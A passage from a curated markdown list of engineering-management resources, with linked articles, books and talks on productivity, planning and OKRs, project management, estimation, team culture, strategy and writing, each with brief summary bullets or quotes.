into the world is more important than getting it perfect. - Discipline is superior to motivation. The former can be trained, the latter is fleeting. You won’t be able to accomplish great things if you’re only relying on motivation. - You do not live in a video game. There are no pop-up warnings if you’re about to do something foolish, or if you’ve been going in the wrong direction for too long. You have to create your own warnings. - Cultivate a reputation for being dependable. Good reputations are valuable because they’re rare (easily destroyed and hard to rebuild). You don’t have to brew the most amazing coffee if your customers know the coffee will always be hot. - Compliment people more. Many people have trouble thinking of themselves as smart, or pretty, or kind, unless told by someone else. You can help them out. - [The Top 9 Productivity Myths That Just Aren't True](https://todoist.com/inspiration/top-myths-productivity), Todoist - [Build tools around workflows, not workflows around tools](https://thesephist.com/posts/tools/) - [Rethinking Best Practices](https://willgallego.com/2021/08/14/rethinking-best-practices/) - [The Cult of Done Manifesto](https://medium.com/@bre/the-cult-of-done-manifesto-724ca1c2ff13) > @shreyas: Don’t be fooled by Best Practices. By the time something is labeled and advertised as a Best Practice, it is just average. Following these practices only suggests you won’t be left behind, not that you will lead the pack. Best Practices are actually Average Practices. About GTD: - 📖 David Allen, [Getting Things Done: The Art of Stress-Free Productivity](https://www.amazon.com/Getting-Things-Done-Stress-Free-Productivity/dp/0142000280): while it could be much shorter, this book is probably the best way to learn about the GTD methodology. - [Productivity 101: A Primer to the Getting Things Done (GTD) Philosophy](http://lifehacker.com/productivity-101-a-primer-to-the-getting-things-done-1551880955): a great summary of GTD. - [Zen Habits](https://zenhabits.net/): a blog you can follow to get productivity tips and tricks. - [Zen To Done (ZTD)](https://zenhabits.net/zen-to-done-ztd-the-ultimate-simple-productivity-system/): a simpler productivity system. - 🏙 [2011 GTD Getting Things Done](https://speakerdeck.com/krunchtime/2011-getting-things-done) About calendars: - [Maker's Schedule, Manager's Schedule](http://www.paulgraham.com/makersschedule.html), Paul Graham - [Why Are Maker Schedules So Rare?](http://calnewport.com/blog/2017/04/05/why-are-maker-schedules-so-rare/) - [Busy to Death](https://barryoreilly.com/2017/05/31/busy-to-death/): a good story involving W. Edwards Deming. - [Makers, Don't Let Yourself Be Forced Into the 'Manager Schedule'](https://blog.nuclino.com/makers-don-t-let-yourself-be-forced-into-the-manager-schedule) - Research shows that it takes as long as 30 minutes for makers to get into the flow - Use maker-manager office hours - Communication can happen at a quieter asynchronous frequency in the form of thoughtful, written discussions rather than soul-sucking meetings or erratic one-line-at-a-time chat messages - Build a team knowledge base to minimize repetitive questions and allow self-onboarding. - [Your non-linear problem of 90% utilization](https://blog.asmartbear.com/utilization.html), Jason Cohen: why constantly running at 90% utilization is actually counter-productive. - [Your Calendar = Your Priorities](https://cutlefish.substack.com/p/tbm-4952-your-calendar-your-priorities) About distractions: - [How to stop being "terminally online"](https://nights.bearblog.dev/how-to-stop-being-terminally-online/) - Determine why you're terminally online - Examine your biases - Rationalize your FOMO - Accept yourself as you are - Stop being so ironic - Take it slow - Find other ways to contact people - Expand your definition of the Internet - Find other news site - Use an RSS feed - Find ways to help - Find a hobby - Limit to career usage - Have faith > "Do what you love until you love to Do" I often think about the “Read what you love until you love to read” comment from @naval, and this is a good generalization. My experience has been that it is easier to educate a Do-er than to motivate the educated; you have to believe you can Do before you embark on an effort. – John Carmack In terms of task management software, I can't recommend [Things](https://culturedcode.com/things/) enough (macOS and iOS only). It is a delightful piece of software that gets out of the way and lets you focus on your tasks. ### Planning (roadmap, goal setting, KPI, OKR, etc.) - [Top 10 Reasons for Slow Velocity](https://svpg.com/top-10-reasons-for-slow-velocity/) - [The Heilmeier Catechism](https://www.darpa.mil/work-with-us/heilmeier-catechism): a crafted a set of questions to help DARPA officials think through and evaluate proposed research programs. - [The Fundamentals of Roadmapping](https://medium.com/@austinfish/the-fundamentals-of-roadmapping-f465f5ac733) - With constant innovation, new market entrants and potential black swans like a global pandemic, the best a leader can do is set a 12–18 month strategic plan that is directionally aligned with the company’s true north. That plan should be broken down by quarter with the assumption that the degree of confidence in achieving goals within each quarter will decline over time. - Expect each team across the organization to cascade their operational roadmaps from these strategic foci. Operational roadmaps should identify key initiatives and milestones. - [How to measure and improve success in your engineering team](https://leaddev.com/productivity-eng-velocity/how-measure-and-improve-success-your-engineering-team) - [“Stories” Don’t Tell a Story: Good Sprint Planning Uses Milestones](https://cgroom.medium.com/stories-dont-tell-a-story-good-sprint-planning-uses-milestones-a71326aa8849) - Manage Through Milestones - [Rituals for hypergrowth: An inside look at how YouTube scaled](https://coda.io/d/Rituals-for-hypergrowth-An-inside-look-at-how-YouTube-scaled_dtrl4NzUguc/Rituals-for-hypergrowth-An-inside-look-at-how-YouTube-scaled_su_30#_lumUl) - Planning cadence: 6-month strategic planning and 6-week sprints - Strategic planning had two key outputs: (a) a list of Big Rocks and (b) the matrix of project allocations - Our process was designed to avoid the “just in time” ad-hoc meetings - Many of our meetings included a long “bullpen” period (i.e. unstructured multithreaded discussion time) - Replace read-outs / meetings with broadcast emails - Pre-reads (”Come prepared and expect others to be prepared”) - [Dear PMs, It's Time to Rethink Agile at Enterprise Startups](https://review.firstround.com/dear-pms-its-time-to-rethink-agile-at-enterprise-startups) - [When Everything is Important But Nothing is Getting Done](https://sharedphysics.com/everything-is-important/) - Step 0: Create Consensus That There is a Problem - Step 1: Create a Unified View of All Existing Work - Step 2: Create and Implement Criteria for Comparing Projects - Step 3: Sequence The Projects & Commit to that Sequence - Step 4: Getting Work Started - Step 5: Identify and Fix Your Organizational Constraints - Step 6: Create A Clear Finish Line (Definition of Done) - Step 7: Keep It Going - [The practical application of "Rocks, Pebbles, Sand"](https://longform.asmartbear.com/docs/rocks-pebbles-sand/), A Smart Bear - If you schedule little things first, you run out of time for the big things. - Rocks maximize Impact - Rocks: Beware: “Maximizing impact” is harder than you think - Execs decide, but ideally PMs are in command - Sand maximizes Throughput - Beware: Administrative overhead destroys throughput - Sand: Prioritize with intuition and desire, not math and metrics - Self-managed teams schedule their own Sand - Pebbles maximize ROI - Beware the surprisingly high impact of estimation error on ROI - [Key Performance Indicators Infographic](https://news.kpiinstitute.org/key-performance-indicators-infographic/) > Truth emerges more readily from error than from confusion. > Francis Bacon #### Goals - [With Goals, FAST Beats SMART](https://sloanreview.mit.edu/article/with-goals-fast-beats-smart/): goals should be embedded in frequent discussions; ambitious in scope; measured by specific metrics and milestones; and transparent for everyone in the organization to see. > A goal without a plan is just a wish. > Antoine de Saint-Exupéry #### OKRs - [How to Use OKRs for Quarterly and Annual Planning](https://www.wrike.com/blog/okrs-quarterly-planning/) - 🎞 [Startup Lab workshop: How Google sets goals: OKRs](https://www.youtube.com/watch?v=mJB83EZtAjc&ab_channel=GV) - [How to Make OKRs Actually Work at Your Startup](https://firstround.com/review/How-to-Make-OKRs-Actually-Work-at-Your-Startup/), First Round Review - 🎞 [Why the secret to success is setting the right goals](https://www.youtube.com/watch?v=L4N1q4RNi9I&ab_channel=TED), John Doerr - [A Modern Guide to Lean OKRs](https://worldpositive.com/a-modern-guide-to-lean-okrs-part-i-c4a30dba5fa1) (a three-part series) - [OKR: The Ultimate Objectives and Key Results Resource](https://weekdone.com/resources/objectives-key-results/) - [OKR Examples (And Tips for Creating Your Own)](https://okrexamples.co/) - [Manager OKRs, Maker OKRs: How Early Stage Startups Should Think About Goal-Setting](https://hunterwalk.medium.com/manager-okrs-maker-okrs-how-startups-should-think-about-goal-setting-7be87195fadc) - [Objectives and Key Results](https://about.gitlab.com/company/okrs/), GitLab Handbook - [10 Tips For Using OKRs Effectively](https://rushabhdoshi.com/posts/2020-06-18-10-tips-for-making-okrs-effective/) - Objectives must be Big and Motivating - KRs must be measurable - Use binary KRs sparingly - All Key Results must have dashboards - Key Results must be exhaustive - Pair Metrics with Counter-Metrics - Distinguish between Committed and Aspirational OKRs - Cascade OKRs up, down, and laterally - Personal OKRs are powerful - Prefer a small number of tightly focused OKRs to a long list - Effective OKR usage takes years ### Platform teams & DevEx (developer experience) - [How To Get Buy-in for DevEx Initiatives: Strategies From GitHub, Notion, and More](https://getdx.com/resources/devex-executive-buy-in) - Categorize projects into themes that resonate with leadership - Play the long game: avoid having a single-minded agenda - Start by identifying “the thorn” in your leadership’s side - Quantify the business value of projects ### Presentations, design and public speaking - 🎞 Garr Reynolds, [Presentation Zen Talk](https://www.youtube.com/watch?v=DZ2vtQCESpk) (Talks at Google) - 📖 Garr Reynolds, [Presentation Zen book](https://www.amazon.com/dp/B006R4H5FG/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1) - Garr Reynolds, [Top Ten Slide Tips](http://www.garrreynolds.com/preso-tips/design/) - 🎤 [You suck at PowerPoint](https://www.slideshare.net/jessedee/you-suck-at-powerpoint) - 📖 Edward Tufte, [The Visual Display of Quantitative Information](https://www.amazon.com/gp/product/0961392142/ref=as_li_tl?ie=UTF8&tag=presentatio00-20&camp=1789&creative=9325&linkCode=as2&creativeASIN=0961392142&linkId=ba73067796f2ff27685dd4a852663241), a classic book on how to present data. - 📖 [The Non-Designer's Design Book](https://www.amazon.com/Non-Designers-Design-Book-3rd/dp/0321534042) - despite its clickbait title, it's actually a great book with a very memorable acronym to learn about how easy it is to design great documents. - 📖 William Lidwell, Kritina Holden, Jill Butler, [Universal Principles of Design](https://www.amazon.com/Universal-Principles-Design-William-Lidwell/dp/1592530079). - [A Five Minutes Guide to Better Typography](http://pierrickcalvez.com/journal/a-five-minutes-guide-to-better-typography) - [Presentation Zen: Living large: "Takahashi Method" uses king-sized text as a visual](https://presentationzen.blogs.com/presentationzen/2005/09/living_large_ta.html) - [How to tell great spoken stories](https://www.julian.com/blog/storytelling) - Limited memorization - Hook - Mystery - Climax - Hero’s perspective - Relive the story; blow your own mind - Charisma is confidence, joy, and love for your audience - Vary your speed, volume, energy, and rhythm - Lean into silence - Picture yourself as being happy and excited to tell this story - [Death by PowerPoint: the slide that killed seven people](https://mcdreeamiemusings.com/blog/2019/4/13/gsux1h6bnt8lqjd7w2t2mtvfg81uhx) (see [Edward Tufte's article on this topic](https://www.edwardtufte.com/bboard/q-and-a-fetch-msg?msg_id=0001yB)) - [How to present to executives](https://lethain.com/present-to-executives/), Irrational Exuberance - Never fight feedback - Don’t evade responsibility or problems - Don’t present a question without an answer - Avoid academic-style presentations - Don’t fixate on your preferred outcome Some great examples of presentations: - 🎤 [How Google Works](https://www.slideshare.net/ericschmidt/how-google-works-final-1) ### Prioritization See also the [Prioritization section on my entrepreneurship-resources list](https://github.com/charlax/entrepreneurship-resources#prioritization) - [How To Do Less](https://alexturek.com/2022-03-07-How-to-do-less/) - Ordering a todo list vs. only doing the top item in the list - Two meta-priorities: (1) keep the lights on, and make keeping them on cheaper, (2) cut the entire roadmap down to one thing at a time - How to handle disappointment - Say no, early and often - How to say no - How to correct distractions - Maintaining flexibility: default to iterate, but be willing to invest - [Prioritization is a Political Problem as Much as an Analytical Problem](https://www.mironov.com/pri-politics/) - Does not work: Asking exec teams to collectively prioritize long lists of things - Does not work: Lectures about algorithms, development processes, and staffing shortages - Does not work: Expecting spreadsheets to prioritize for us - Helpful: Set an explicit top-down allocation of effort across a few broad categories - Helpful: Push every exec-level stakeholder to provide a very short, fully ordered list of their group's needs - Helpful: Briefly recap top 3-4 products or projects every week - Helpful: Use Now/Next/Never to frame upcoming choices - Helpful: Define in advance what kinds of work can be realistically outsourced, and actively recruit external partners ### Problem solving See my [professional-programming section about problem solving](https://github.com/charlax/professional-programming#problem-solving) ### Processes for engineering - [The Joel Test: 12 Steps to Better Code](http://www.joelonsoftware.com/articles/fog0000000043.html) - [Simple Rules Set You Free](https://art19.com/shows/friction-with-bob-sutton/episodes/772b5237-73f3-45da-b64c-06f0af95637f), from the Friction podcast with Bob Sutton - [Constructive Chaos vs. Clusterf***s](https://art19.com/shows/friction-with-bob-sutton/episodes/7f85199b-f380-4f74-8139-b29930dd27b4), from the Friction podcast with Bob Sutton @samkottler: No amount of process will ensure the right work is getting done. ### Product management - [The most important thing Dropbox did to scale Product Management](https://medium.com/startup-grind/the-most-important-thing-dropbox-did-to-scale-product-management-fed90e30697e#.t5uu8idgb): a very simple model for stating the stage a product is in. - [How Amazon Web Services (AWS) Achieved an \$11.5B Run Rate by Working Backwards](https://hitenism.com/amazon-working-backwards/): explain Amazon's product management process. - [Bottleneck #03: Product v Engineering](https://martinfowler.com/articles/bottlenecks-of-scaleups/03-product-v-engineering.html), Martin Fowler - Signs you are approaching a scaling bottleneck - Identify and reinforce your “First Team” - Define and communicate how your scaleup delivers value - Create multidisciplinary stream-aligned teams - Negotiate a balanced product investment mix ### Project management - 📖 [The Mythical Man-Month](https://en.wikipedia.org/wiki/The_Mythical_Man-Month) by Frederick Brooks is a classical book about software project management. - Now I do not think software managers have less inherent courage and firmness than chefs, nor than other engineering managers. But false scheduling to match the patron's desired date is much more common in our discipline than elsewhere in engineering. - The boss must first distinguish between action information and status information. He must discipline himself not to act on problems his managers can solve. - Jason Yip, [It's Not Just Standing Up: Patterns for Daily Standup Meetings](http://martinfowler.com/articles/itsNotJustStandingUp.html): standup are a pretty controversial topics. This article on Martin Fowler's blog provides a good list of patterns and anti-patterns to ensure they're a good productive use of everybody's time. - [15 Fundamental Laws of Software Development](https://www.exceptionnotfound.net/fundamental-laws-of-software-development/) - [How we structure our work and teams at Basecamp](https://m.signalvnoise.com/how-we-set-up-our-work-cbce3d3d9cae#.jjb8slcxg) - [Will your project be a success? Find out in five minutes.](https://www.projectsmart.co.uk/health-check/project-question-answer.php) - Project Smart, [Project management tools](https://www.projectsmart.co.uk/tools.php) - [How should deadlines be used in software engineering?](https://blog.keen.io/how-should-deadlines-be-used-in-software-engineering/) - [My 20-Year Experience of Software Development Methodologies](https://zwischenzugs.wordpress.com/2017/10/15/my-20-year-experience-of-software-development-methodologies/): includes a great poster about different project management methodologies. - [JIRA is an antipattern](https://techcrunch.com/2018/12/09/jira-is-an-antipattern/), Jon Evans. - [Agile Lite: Agile without all the burnout](https://github.com/davebs/AgileLite) - [Who are you trying to impress with your deadlines?](http://jatins.gitlab.io/me/why-deadline/) - Deadlines set wrong expectations for what's good - People are going to cut corners if you put them to tough deadlines. - No one is going to experiment with new ways of doing things if you fetishize finishing under deadlines. We'd still be doing MVC in frontend apps if someone at Facebook didn't miss a deadline. - Have deadlines, but fuzzy. How fuzzy should be decided by your goals. If missing a deadline could potentially lose you a million dollars, the fuzziness factor for that should be zero. - [WaterfallProcess](https://martinfowler.com/bliki/WaterfallProcess.html), Martin Fowler - [Efficient Software Project Management at its Roots](https://blog.pragmaticengineer.com/efficient-software-project-management-at-its-roots/) - The key for a successful kickoff meeting is the interactivity. - With good milestones in place, it makes no difference whether the team uses story points, engineer-days or any other way to measure progress. - Having a regular, no-BS update on where the team really is - Dependency and Risk Management in a pragmatic way - Celebrate after completion! - [How to Lead a Project - as a Software Engineer](https://blog.pragmaticengineer.com/how-to-lead-a-project-in-software-development/), Gergely Orosz - Setup a framework for collaboration - Communicate status to stakeholders - Help the team focus - and don't be afraid to delegate - The article includes a short checklist for first-time project managers: kickoff meeting, milestones, design process, weekly update emails, daily standups, weekly goals, demoing progress. - [Directly Responsible Individuals](https://about.gitlab.com/handbook/people-group/directly-responsible-individuals/#what-is-a-directly-responsible-individual) - [Software Estimation Is Hard. Do It Anyway](https://jacobian.org/2021/may/20/estimation/) - [Great engineering teams focus on milestones instead of projects](https://www.rubick.com/milestones-not-projects/) - Milestones should be small, high-quality, understandable, valuable - We can estimate 1-3 weeks of work - Breaking down projects helps with delivery incremental business value. - [6 Principles for Building a World Class TPM Team](https://doordash.engineering/2021/08/02/6-principles-for-building-a-world-class-tpm-team/amp/), Sophia Vicent - [Driving engineers to an arbitrary date is a value destroying mistake](https://iism.org/article/driving-engineers-to-an-arbitrary-date-is-a-value-destroying-mistake-49) - [How Big Tech Runs Tech Projects and the Curious Absence of Scrum](https://newsletter.pragmaticengineer.com/p/project-management-in-tech?s=r), Gergely Orosz - [How finishing what you start makes teams more productive and predictable](https://lucasfcosta.com/2022/07/19/finish-what-you-start.html) - [How to plan?](https://kellanem.com/notes/how-to-plan) - Do fewer things. - Bottom up processes don’t work. - Planning is the wrong time to introduce anything new. - You must provide frameworks and constraints - Project planning has an inflection point. - Don’t wait to kill bad ideas. - Minimize dependencies - Headcount planning won’t map to your plans - Basecamp's [Shape Up: Stop Running in Circles and Ship Work that Matters](https://basecamp.com/shapeup) - Backlogs are a big weight we don’t need to carry. - Important ideas come back - Choosing the right cycle length (six weeks) - Assign projects, not tasks - Making bets with a capped downside (the circuit breaker) and honoring them with uninterrupted time - Downhill versus uphill work and communicating about unknowns - [Project Management for Software Engineers](https://sookocheff.com/post/engineering-management/project-management-for-software-engineers/): a 5-step process to running a project. > The ultimate inspiration is the deadline. > — Nolan Bushnell #### Estimating work (project management) - [Yes, You Should Estimate Software Projects](https://blog.pragmaticengineer.com/yes-you-should-estimate/), Gergely Orosz - [Cut Out Time Estimates on Roadmaps: Get Into a Product Delivery Rhythm](https://www.honeycomb.io/blog/product-strategy-and-roadmap-timing/) - [Hacks for engineering estimates](https://www.shubhro.com/2022/01/30/hacks-engineering-estimates/) - Estimate: prediction of how long a project will take - Target: statement of a desirable business objective - Commitment: promise to deliver defined functionality by a certain date - Plan: steps to achieve a particular result - Identify the extremes (latest/soonest) - Note the precision (weeks? days? hours?) - Ask for confidence level over time - [Ask HN: How do you deal with managers/customers questioning your estimates?](https://news.ycombinator.com/item?id=32056969) - Call it a forecast, not an estimate. - Supply confidence intervals - Show compassion - Offer solutions - Try this tool: https://estigator.mozz.app/app/ ### Release management - [The Tick-Tock of Apple](https://512pixels.net/2012/02/the-tick-tock-of-apple/) ### Remote teams - [How to Work Faster in a Remote Team](https://zapier.com/learn/remote-work/remote-work-productivity/) - Notion, [Remote work wiki](https://www.notion.so/Remote-work-wiki-1b21ef5501714fffa9f5c5c25677371f) - Gitlab, [Remote work emergency plan: What to do (and where to start)](https://about.gitlab.com/company/culture/all-remote/remote-work-emergency-plan/) - [A guide to distributed teams](https://increment.com/teams/a-guide-to-distributed-teams/), Increment: Teams. - [The ultimate guide to remote work](https://zapier.com/learn/remote-work/), Zapier. Includes topics such as: - How to brainstorm remotely - Remote team activities: how to have fun when you work from home - The best online whiteboards ### Team vision "Starting with the why" is one of The 7 Habits of Highly Effective People's best chapters. - Seth Godin, [A manifesto for small teams doing important work](http://sethgodin.typepad.com/seths_blog/2016/02/a-manifesto-for-small-teams-doing-important-work.html): really inspiring list of short cultural values for a team. Craft your own! - Seth Godin, [Big questions before little ones](http://sethgodin.typepad.com/seths_blog/2016/03/big-questions-before-little-ones.html) - 🎞 [Focusing is about saying no](https://www.youtube.com/watch?v=H8eP99neOVs) (Steve Jobs) - 🎞 [Vision is about perseverance](https://www.youtube.com/watch?v=gFE-Tdz24hM) (Steve Jobs) - 🎞 Bryan Cantrill (Joyent VP of Eng) about the [importance of why](https://youtu.be/1KeYzjILqDo?t=649). - The primary motivator is mission and purpose. Software development is about delivering utility to humanity. - The soul is what motivates. You need to be able to explain the "why". - 🎞 Steve Jobs on the [same topic](https://www.youtube.com/watch?v=JayWnYq9zks). - Focus on the gems. - 🎞 [Start with why](https://www.ted.com/talks/simon_sinek_how_great_leaders_inspire_action?language=en), TED talk by Simon Sinek. - 🎤 [Insist on Focus](https://www.youtube.com/watch?index=9&list=PL__mLVkEYIvwv61O6ohmAv2rE2X8ScP7b&v=fcohHIJr6Ns&ab_channel=Nugget), Keith Rabois - The reason why this [forcing people to focus and work on only one important problem] was such a successful strategy is that most people tend to substitute from A+ problems that are very difficult to solve to B+ problems for which they already know a solution to. - [Six critical questions every organization must answer](https://www.navigatethejourney.com/blog/2016/08/15/six-critical-questions-every-organization-must-answer) (from Patrick Lencioni's The Advantage) ### Technical strategy - Joel Spolsky, [Things You Should Never Do, Part I](http://www.joelonsoftware.com/articles/fog0000000069.html): Joel explains why (according to him) you should never rewrite a codebase. - 🎤 [Choose Boring Technology](http://mcfunley.com/choose-boring-technology-slides), Dan McKinley. - [Stevey's Google Platforms Rant](https://gist.github.com/chitchcock/1281611): how Amazon became a platform. - [Letter to Shareholders](https://www.sec.gov/Archives/edgar/data/1018724/000119312517120198/d373368dex991.htm), Jeff Bezos: “Day 2 is stasis. Followed by irrelevance. Followed by excruciating, painful decline. Followed by death. And that is why it is always Day 1.” So much is packed in this letter. Day 1 is about true customer obsession, resisting proxies, embracing external trends, high-velocity decision making. - [5 Red Flags Signaling Your Rebuild Will Fail](https://www.pkc.io/blog/five-red-flags-signaling-your-rebuild-will-fail/) - [Polyglot programming in startup environments](https://medium.com/@FarisZacina/polyglot-startup-environments-1211b93615d5) - Never introduce a new programming language in an existing code-base because of personal preference. Building software is a team effort. Globalize your code languages. Team cohesion is what matters the most. - You must have production experience in the programming language you want to replace or complement with another one - A decision to introduce a new programming language must be based on non-functional requirements, measurements or other relevant arguments, and not personal opinions. - Always think about the team and company, and especially about hiring and expanding the team. - A programming language is just a tool to deliver software. Don’t be in a tight relationship with your screwdriver. - [Tech Migrations, the Spotify Way](https://engineering.atspotify.com/2020/06/25/tech-migrations-the-spotify-way/) - Ruthlessly prioritize - Product-ify migrations: accountability, test first, train, lead with value, KYC, gamify - Automate, automate, and move up the stack! - [hwayne/awesome-cold-showers](https://github.com/hwayne/awesome-cold-showers): for when people get too hyped up about things - [IT Software Engineering Principles](http://engineering-principles.onejl.uk/) - [Leading With Confidence: How Engineering Managers Can Avoid Technical Decay](https://betterprogramming.pub/leading-with-confidence-how-engineering-managers-can-avoid-technical-decay-17653d115938) - Ask for More Details From Individual Contributors About Their Challenges - Establish Sessions for Knowledge Sharing and Solicit the Sharing of Recent Experiences - Implement the Practice of Doing Side Projects - Follow the Engineer/Manager Pendulum Career Path ### Team culture - [Lessons from 7 highly successful software engineering cultures](https://techbeacon.com/lessons-7-highly-successful-software-engineering-cultures) - [Engineering a culture of psychological safety](https://blog.intercom.com/psychological-safety/) - [Culture Eats Strategy For Breakfast](https://techcrunch.com/2014/04/12/culture-eats-strategy-for-breakfast/) - [Habits of High-Functioning Teams](https://deniseyu.io/2020/05/23/habits-of-high-performing-teams.html) - High Psychological Safety - Good hygiene practices - Active redistribution of “experience points” - Communicating generously - [Principles trump processes](https://www.jjude.com/principles-trumps) - [Brilliant Jerks in Engineering](https://www.brendangregg.com/blog/2017-11-13/brilliant-jerks.html) - The selfless brilliant jerk - The selfish brilliant jerk - Problems causes by brilliant jerks - Dealing with brilliant jerks - Includes lots of resources and practical questions! Those are considered classics: - [Valve Employee Handbook](http://www.valvesoftware.com/company/Valve_Handbook_LowRes.pdf) - 🎤 [Netflix Culture Deck](http://www.slideshare.net/reed2001/culture-1798664) - [Gitlab's employee handbook](https://about.gitlab.com/handbook/) (includes cultural values) - [The HubSpot Culture Code: Creating a Company We Love](http://blog.hubspot.com/blog/tabid/6307/bid/34234/The-HubSpot-Culture-Code-Creating-a-Company-We-Love.aspx) - [Don’t pave the path used by the unhappy cows](https://medium.com/@kellan/dont-pave-the-path-used-by-the-unhappy-cows-fef7a78777f8#.mtw3s2h1v) - [Amazon's leadership principles](https://www.amazon.jobs/principles) [culturecodes](http://culturecodes.co/) is a repository of culture deck from companies (including the ones above). Engineering values: - [Engineering Values. A letter to the Medium Engineering…](https://medium.engineering/engineering-values-7143c0db0bd6) - Professional & personal growth is more important than team stability - Everyone is a mentor; human connection is the path to bringing out the best in people - Excellent teams require diversity & inclusiveness - Good leaders are active and supportive - Good engineers are rigorous and resolute - Pursuit of greatness is a virtue - [Engineering Values at Lullabot](https://www.lullabot.com/engineering-values) - People matter more - Cultivate inclusivity - Learn and share - Excellence balances perfect and done - Code for the future - Work joy into work - [Figma's engineering values](https://www.figma.com/blog/figmas-engineering-values/) - Communicate early and often - Lift your team - Craftsmanship - Prioritize impact - [HubSpot’s Engineering Values](https://product.hubspot.com/blog/hubspots-engineering-values) - Customers Come First - Complacency Equals Failure - Think Like an Owner - Move Quickly & Iterate - Small Teams Win - Keep It Simple - Embrace Organizational Change - Scale Each Other - [Our engineering values at Wise](https://www.wise.jobs/2020/10/27/transferwise-engineering-values/) - Ship often. Learn. Iterate. Have impact. - Be replaceable — single ownership is no ownership. - Move fast, but build for tomorrow. - Strong opinions, weakly held, openly shared. - Raise the bar — for yourself and your team. ### Scaling an organization - [Scaling Without Imploding](https://hackernoon.com/scaling-without-imploding-79b46a91ac63) - [Stripe Atlas: Guide to scaling engineering organizations](https://stripe.com/atlas/guides/scaling-eng) ### Security - [The SaaS CTO Security Checklist Redux](https://www.goldfiglabs.com/guide/saas-cto-security-checklist/) - [Does Your Organization Have a Security.txt File?](https://krebsonsecurity.com/2021/09/does-your-organization-have-a-security-txt-file/), Krebs on Security - [SOC2: The Screenshots Will Continue Until Security Improves](https://fly.io/blog/soc2-the-screenshots-will-continue-until-security-improves/) ### Soft skills, Emotional Quotient (EQ) - [Those 20 Key Habits that Hold You Back](http://coachingfeedforward.blogspot.com/2010/07/those-20-key-habits-that-hold-you-back.html) - [How to Deal with Difficult People on Software Projects](https://www.howtodeal.dev/) - [Leadership Soft Skills: Master Your Own Mind to Lead Your Team to Success](https://codingsans.com/blog/leadership-soft-skills) - The importance of soft skills in engineering leadership - Process to improving leadership soft skills - Practices to fine-tune leadership soft skills - Helping direct reports improve leadership soft skills - Emphasizing leadership soft skills in your culture ### Strategy Shameless plug here, two presentations I contributed to: - 🎤 [Amazon: the hidden empire](http://www.slideshare.net/faberNovel/amazoncom-the-hidden-empire) - 🎤 [Apple: 8 easy steps to beat Microsoft](http://www.slideshare.net/faberNovel/apple-study-8-easy-steps-to-beat-microsoft-and-google) - [Michael Porter's generic strategies](https://en.wikipedia.org/wiki/Porter%27s_generic_strategies) (Wikipedia) - [Steve Jobs explaining why you should start from the customers, and go backward](https://www.youtube.com/watch?v=FF-tKLISfPE) (video 🎞). He makes the point that stopping the OpenDoc project was the right thing to do because it was a technology without any customer. - [Can Do Vs Must Do](http://avc.com/2017/05/can-do-vs-must-do/) , AVC. "Doing a startup is like playing a video game. Each level requires you to master one thing and once you do that, you level up and then there is a new thing to master." - "Waterline principle" from Bill Gore: "Think of being on a ship, and imagine that any decision gone bad will blow a hole in the side of the ship. If you blow a hole above the waterline (where the ship won’t take on water and possibly sink), you can patch the hole, learn from the experience, and sail on. But if you blow a hole below the waterline, you can find yourself facing gushers of water pouring in, pulling you toward the ocean floor. And if it’s a big enough hole, you might go down really fast, just like some of the financial firm catastrophes of 2008. To be clear, great enterprises do make big bets, but they avoid big bets that could blow holes below the waterline.", How We Might Fall. - [Write five, then synthesize: good engineering strategy is boring](https://lethain.com/good-engineering-strategy-is-boring/), Will Larson. ### Team dynamics - [Shields Down](https://randsinrepose.com/archives/shields-down/), Rands in Repose - Boredom in its many forms is a major contributor to resignations, but the truth is the list of contributing factors to shield weakening is immense. - Every moment as a leader is an opportunity to either strengthen or weaken shields. ### Training - [Great developers are raised, not hired](https://sizovs.net/2019/04/10/the-best-developers-are-raised-not-hired/) - Take some money, energy, time that you spend on recruiting and invest it in teaching your best developers mentoring skills. - Adjust your interview process and give a chance to candidates that are not good enough yet, but are eager to learn and have a growth mindset. - Relax “hard requirements” in your job ads to avoid filtering out impostors. - [“Sharing Interesting Stuff”: A simple yet powerful management tool](https://medium.com/shipup-blog/sharing-interesting-stuff-a-simple-yet-powerful-management-tool-771d3c2b39b7) - Your direct report sends you something they consider worth sharing with you (can be a blog post, book chapter, video, podcast…) and a few related questions they have in mind a few days before you meet together. - On the D day, you share your opinion about it and try to answer the questions that go with it. - You switch roles for the next session. - [Introduce Team G Morning Learning Sessions to Coach the Growth Mindset](https://philippe.bourgau.net/growth-mindset-coaching-turn-remote-work-commutes-into-team-learning/) - Meet every morning for 30 minutes. Spend 20 minutes studying and 10 minutes sharing what you have learned. - [Your Startup’s Management Training Probably Sucks — Here’s How to Make it Better](https://review.firstround.com/your-startups-management-training-probably-sucks-heres-how-to-make-it-better), First Round Review - People often think they don’t like management training. But what they’re really saying is “I don’t like shitty management training.” - Mistake: only training new managers - Snacks are good for the kitchen. They’re less useful for leadership lessons. - 4 topics every manager training should include: - Goal setting - Talent management - Org planning - Leadership & culture development ### Trust > The best new ideas always have unanticipated benefits. So it's stupid to require people who want to do new things to enumerate the benefits beforehand. The best you can do is choose smart people and then trust their intuitions about what's worth exploring. > > — Paul Graham https://twitter.com/paulg/status/1619753568264921089 ### Work ethics & work/life balance - [The Virtues of Laziness and Impatience](http://www.elidedbranches.com/2016/06/the-virtues-of-laziness-and-impatience.html): "there are two areas I encourage you to practice showing, right now: figuring out what’s important, and going home." - [Lazy Leadership](https://medium.com/the-modern-team/lazy-leadership-8ba19e34f959#.bwcfjz5ac): "entrepreneurship is really just a fancy word for delegation". - [Your non-linear problem of 90% utilization](https://blog.asmartbear.com/utilization.html), Jason Cohen: why constantly running at 90% utilization is actually counter-productive. - [Evidence-based advice on how to be successful in any jobs](https://80000hours.org/career-guide/how-to-be-successful/): most self-help advices are not research-based. The ones listed in this article are. ### Workshop facilitation - [List of workshop facilitation methods](https://cynefin.io/wiki/List_of_methods#Facilitation) - [Ritual dissent](https://cynefin.io/wiki/Ritual_dissent) - [Triopticon](https://cynefin.io/wiki/Triopticon) - [Future backwards](https://cynefin.io/wiki/Future_backwards) ### Writing ➡️ See also my [professional-programming list](https://github.com/charlax/professional-programming#writing) - [The 7 Emails You Need to Know How to Write](http://unreasonable.is/the-7-emails-you-need-to-know-how-to-write/) - [The Inverted Pyramid](https://en.wikipedia.org/wiki/Inverted_pyramid) or [BLUF (bottom line up front)](<https://en.wikipedia.org/wiki/BLUF_(communication)>) (Wikipedia): a method to prioritize and structure information in a text. - [How to say you’re sorry](https://m.signalvnoise.com/how-to-say-youre-sorry-1c3477c33c89#.7xxja07ae), Jason Fried (Founder & CEO Basecamp) - [How to write with 